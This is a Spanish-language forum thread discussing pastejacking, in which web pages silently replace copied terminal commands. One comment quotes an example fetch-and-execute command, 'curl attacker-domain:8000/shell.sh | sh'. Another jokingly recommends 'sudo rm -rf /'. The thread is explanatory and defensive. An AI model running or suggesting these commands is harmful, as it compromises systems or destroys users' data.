#26 Home meu yo cuando copio 1º leo lo que voy a copiar y luego copio y adapto lo que me obliga a volver a leer... lo cual a huevos te hace revisar en los dos puntos...

(por no hablar de que luego el codigo se prueba en DES y QAS antes y ya verias algo rarete, porque si, me averguenza admitirlo pero yo soy de esas nenazas que tiene entornos estanco de pruebas y desarrollo... es triste admitirlo pero me gano la vida así a base de vender mi dignidad con maquinas de pruebas que garantizen la seguridad)

» autor: skaworld

#27 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

skaworld — Tue, 04 Jan 2022 10:27:16 +0000

#22 Ah pero picas el scritp en tu editor de referencia (los hombres de verdad lo dibujamos a raton alzado en el paint) y luego lo ejecutas, el proceso intermedio ya te protege contra estas mierdas que estan pensadas pa los que directamente copian y pegan en el terminal sin miedo a nada

» autor: skaworld

#26 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

wendigo — Tue, 04 Jan 2022 10:26:25 +0000

#15 ¿Entender que?

En este caso hay dos variantes distintas... No saber lo que estás pegando pero que sea lo mismo que estás copiando. Y saber lo que estás copiando pero que no sea lo mismo que estás pegando

Saludos

» autor: wendigo

#25 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

meneanet — Tue, 04 Jan 2022 10:24:55 +0000

#4 Tal como explica el artículo, te meten un salto de línea al final con lo que solo pegarlo en la consola se puede ejecutar. Además, con javascript, consiguen que el texto que copias realmente no sea el mismo que lees en la web donde lo copias.

» autor: meneanet

#24 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

avalancha971 — Tue, 04 Jan 2022 10:24:45 +0000

#14 Notepad++ o #13 vim?

» autor: avalancha971

#23 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

estoyausente — Tue, 04 Jan 2022 10:24:29 +0000

#8 Por eso #3 dice depende de la fiabilidad de la fuente. Por ejemplo sabes que en StackOverflow eso no va a pasar.

En cualquier caso, la verdad es que es algo que nunca he tenido en cuenta, y lo pasaré por un editor de texto antes cuando la fuente no es conocida.

» autor: estoyausente

#22 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

redscare — Tue, 04 Jan 2022 10:23:18 +0000

#15 Yo es que soy hombre orquesta. Lo mismo te programo un API que te lanzo un script en el servidor

» autor: redscare

#21 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

avalancha971 — Tue, 04 Jan 2022 10:22:10 +0000

#9 Lo suyo es utilizar una consola que cuando pegas algo con un salto de línea, te muestre un popup de confirmación con el texto que vas a a pegar.

» autor: avalancha971

#20 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

elgranmago — Tue, 04 Jan 2022 10:21:55 +0000

#3 Ahí está, esa es la clave, yo el comando que siempre me soluciona todo y que recomiendo a todo el mundo es
$sudo rm -rf /
...y adiós problema

» autor: elgranmago

#19 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

black29 — Tue, 04 Jan 2022 10:21:18 +0000

#4 Quizás la noticia explica cuál es el peligro.

» autor: black29

#18 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

abnog — Tue, 04 Jan 2022 10:21:06 +0000

Recordad amigos, nunca naveguéis sin NoScript.

» autor: abnog

#17 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

abnog — Tue, 04 Jan 2022 10:20:28 +0000

#3 #4 En el artículo explica que no es que no sepas qué hace el comando en cuestión, si no que con un script la página te cambia el contenido del texto que copias por otro totalmente diferente, añadiendo un <Intro> al final, con las consecuencias que esto puede tener. (O sea, que ejecutes en consola cualquier cosa que quiera el "atacante").

» autor: abnog

#16 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

woopi — Tue, 04 Jan 2022 10:20:02 +0000

borrado... sorry!

» autor: woopi

#15 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

skaworld — Tue, 04 Jan 2022 10:19:08 +0000

#4 #7 #6 Entiendo que esto es pa la consola de comandos, porque al pegar lanza la ejecucion con lo que es un ataque a sysadmins y demás súcubos de averno. Los programadores de bien, los que dependemos de un compilador como que esto no afecta demasiado más allá de que home colega no puedes basar todo tu trabajo en copiar y pegar, tendrás que entender las instrucciones que estas pegando.

» autor: skaworld

#14 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

eldarel — Tue, 04 Jan 2022 10:18:20 +0000

#6 Notepad++, sus opciones de edición con Regex incluidas y el plugin de Compare me ha salvado meses de trabajo.
Fan es poco.

» autor: eldarel

#13 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

marcumen — Tue, 04 Jan 2022 10:17:49 +0000

Por algo la genial app 'Windows Terminal' advierte siempre que pegas un comando que incluye fin de línea.

Curaos en salud y pegad siempre antes en vuestro editor de texto favorito (vim) y revisad.

» autor: marcumen

#12 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

woopi — Tue, 04 Jan 2022 10:17:18 +0000

Borrado!

» autor: woopi

#11 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

leporcine — Tue, 04 Jan 2022 10:17:15 +0000

#6 Puedes pegarlo también en la misma barra de direcciones del navegador, así no cambias de aplicación.

» autor: leporcine

#10 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

--699549-- — Tue, 04 Jan 2022 10:17:03 +0000

No hay tiempo material para desarrollar todo el código desde cero. Siempre vas a tener que copiar y pegar algo, tirar de librerías, etc.

» autor: --699549--

#9 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

Razhan — Tue, 04 Jan 2022 10:16:52 +0000

#3 alguien que no ha leído el artículo. Lo que dice es que lo que la página web envía al portapapeles no tiene por qué ser lo que copiaste, así que puedes copiar un comando inocuo y cuando lo pegas, que sea un comando distinto (y con un salto de línea al final para que se ejecute)

» autor: Razhan

#8 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

redscare — Tue, 04 Jan 2022 10:16:18 +0000

#2 #3 #4 #5 Efectivamente no habéis leído nada ni os habéis enterado de qué va el articulo.

El ataque es que mediante javascript en la pagina tu crees que estas copiando un texto como 'sudo apt upgrade' cuando en realidad estas copiando 'curl attacker-domain:8000/shell.sh | sh'

» autor: redscare

#7 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

wendigo — Tue, 04 Jan 2022 10:15:10 +0000

#4 #5 La cosa es que lo que copies de la web X ,no tiene porqué ser lo que pegues en tu línea de comando y puede que incluso se autoejecute.
Por eso se suele recomendar pegarlo en un bloc de notas antes

Saludos

» autor: wendigo

#6 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

redscare — Tue, 04 Jan 2022 10:13:42 +0000

Curioso. Yo siempre pego primero en notepad++ pero solo porque es fácil copiar caracteres especiales invisibles por error y luego al pegar el comando no funciona y no tienes npi de por qué. Pero esta bien saber que es recomendable hacerlo siempre por seguridad también.

» autor: redscare

#5 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

oso_69 — Tue, 04 Jan 2022 09:54:31 +0000

"Se advierte a los programadores, administradores de sistemas, investigadores de seguridad y aficionados a la tecnología que copian y pegan comandos de páginas web en una consola o terminal que corren el riesgo de que su sistema se vea comprometido."

Y aquí he dejado de leer. No porque no esté de acuerdo con el artículo, sino porque no soy ninguna de esas cosas. Si copio algo en internet es o bien texto, o bien una dirección de página web.

» autor: oso_69

#4 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

Robus — Tue, 04 Jan 2022 09:43:26 +0000

Normalmente si copio y pego algo es que se que estoy haciendo y he ido a mirar exactamente como poner los parametros o así…

Quizas el peligro sería copiar un comando de instalación una aplicación con un comando que apunte a una versión “alternativa” de ella, así que hay que vigilar de donde obtienes esas instrucciones.

» autor: Robus

#3 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

Davidavidú — Tue, 04 Jan 2022 09:25:51 +0000

Vamos a ver. Dependerá de la fiabilidad de la fuente y de emplear un poco el cerebro para saber qué es lo que hace el comando que estés copiando. Si no fuera por la wiki de Arch, no podría ni haber instalado el SO.
No soy informático, como muchos por aquí.

» autor: Davidavidú

#2 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

mecha — Tue, 04 Jan 2022 09:20:47 +0000

Pues adios a mi carrera

» autor: mecha

#1 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

--84408-- — Tue, 04 Jan 2022 09:14:48 +0000

Quien haga esto, se merece que lo hackeen sin duda alguna.

» autor: --84408--